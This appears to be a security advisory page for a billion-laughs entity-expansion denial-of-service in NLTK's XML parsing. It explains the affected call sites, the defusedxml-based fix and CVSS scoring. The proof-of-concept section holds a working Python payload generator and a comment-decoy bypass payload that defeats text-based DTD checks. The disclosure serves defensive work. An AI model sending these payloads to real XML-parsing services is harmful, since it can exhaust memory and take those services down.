Advisory details:
github_osv / GHSA-97qj-x29f-37w7
| Advisory ID | github_osv/GHSA-97qj-x29f-37w7 |
| Aliases |
CVE-2026-78681
|
| Summary | NLTK: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses Several XML parsing sites in NLTK still used `xml.etree.ElementTree` directly, which honours `<!ENTITY>` declarations in a document's internal DTD subset. A crafted document a few hundred bytes long can expand to megabytes in memory (each nesting level multiplies by ten), a denial-of-service. Affected call sites (<= 3.10.2): - `nltk.chunk.named_entity.load_ace_file` — parses ACE annotation XML - `nltk.internals.ElementWrapper` — converts any given string to an Element - `nltk.downloader` — `Package.fromxml`, `Collection.fromxml`, `_find_collections`, `_find_packages` libexpat 2.6.0 added an input-amplification cap, but it only engages above an activation threshold (~8 MiB output) and depends on whichever libexpat the interpreter links; builds against older libexpat have no cap at all. External entities are not resolved by ElementTree, so this is a memory-amplification DoS (CWE-776), not XXE/file disclosure. This completes the earlier defusedxml adoption that these sites were missed by. Fix routes all of them through a new `nltk.xmlsec` module that refuses entity declarations, preferring `defusedxml` and falling back to a standard-library `xml.parsers.expat` pre-scan when defusedxml is absent. --- ## Attack demonstration Reproducible PoC against a real affected entry point (`nltk.internals.ElementWrapper`). Every number below is captured output, not illustrative. ### 1. The amplification (vulnerable path: raw `xml.etree.ElementTree`) A payload of a few hundred bytes expands to megabytes in memory. Each nesting level multiplies output by 10 while adding ~56 bytes of input: | levels | input bytes | expanded bytes | factor | |--------|-------------|----------------|--------| | 3 | 218 | 10,000 | x45 | | 4 | 274 | 100,000 | x364 | | 5 | 330 | 1,000,000 | x3,030 | | 6 | 386 | (libexpat 2.7.1 cap trips) | - | The level-6 cap is **libexpat's**, not NLTK's: it only engages above an ~8 MiB activation threshold, and older libexpat builds (still shipped with many 3.10/3.11 interpreters) have no cap at all. Under the threshold — up to ~1 MB per parse here — expansion always succeeds. ```python import xml.etree.ElementTree as ET def bomb(levels): d = "\n".join(f'<!ENTITY e{i} "{("&e%d;"%(i-1))*10}">' for i in range(1, levels+1)) return f'<!DOCTYPE d [<!ENTITY e0 "AAAAAAAAAA">{d}]><d>&e{levels};</d>' ET.fromstring(bomb(5)) # -> element whose .text is 1,000,000 chars ``` ### 2. The patched entry point rejects it ``` >>> from nltk.internals import ElementWrapper >>> ElementWrapper(bomb(5)) EntitiesForbidden: EntitiesForbidden(name='e0', ...) ``` ### 3. Why a text-based screen is not enough An entity declaration can hide behind a decoy `<!DOCTYPE>` in a prolog comment. Raw ElementTree still processes the real declaration and expands; a guard that walks the DOCTYPE text is fooled. The shipped guard re-parses with expat, so it is not: ```python evil = '<!-- <!DOCTYPE x [ ] > --><!DOCTYPE d [<!ENTITY a "PPPP...">]><d>&a;</d>' ``` ``` raw ElementTree -> EXPANDS ('PPPPPPPPPPPP...', 40 chars) nltk.xmlsec -> REJECTED (EntitiesForbidden) ``` An earlier draft of the fallback that walked the text **was** bypassed by this and 4 similar payloads (decoy DOCTYPE in a PI, stray `]` inside a PI in the internal subset). All five are now regression tests. ### 4. Both back ends block it `nltk.xmlsec` prefers `defusedxml` and falls back to a stdlib `xml.parsers.expat` pre-scan. Same payloads, defusedxml hidden to force the fallback: ``` stdlib fallback | billion-laughs -> REJECTED (EntitiesForbidden) stdlib fallback | comment-decoy differential -> REJECTED (EntitiesForbidden) ``` Environment: python 3.13.7, libexpat 2.7.1. Confirmed identical amplification on python 3.10 (NLTK's floor). |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 7.8 |
| Risk | 3.9 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| System | Score | Found at |
|---|---|---|
| cvssv4 | 8.7 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-97qj-x29f-37w7/GHSA-97qj-x29f-37w7.json |
| generic_textual | HIGH |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Attack Requirements (AT) | Privileges Required (PR) | User Interaction (UI) | Vulnerable System Impact Confidentiality (VC) | Vulnerable System Impact Integrity (VI) | Vulnerable System Impact Availability (VA) | Subsequent System Impact Confidentiality (SC) | Subsequent System Impact Integrity (SI) | Subsequent System Impact Availability (SA) |
|---|---|---|---|---|---|---|---|---|---|---|
network adjacent local physical |
low high |
none present |
none low high |
none passive active |
high low none |
high low none |
high low none |
high low none |
high low none |
high low none |
There are no SSVC decisions available.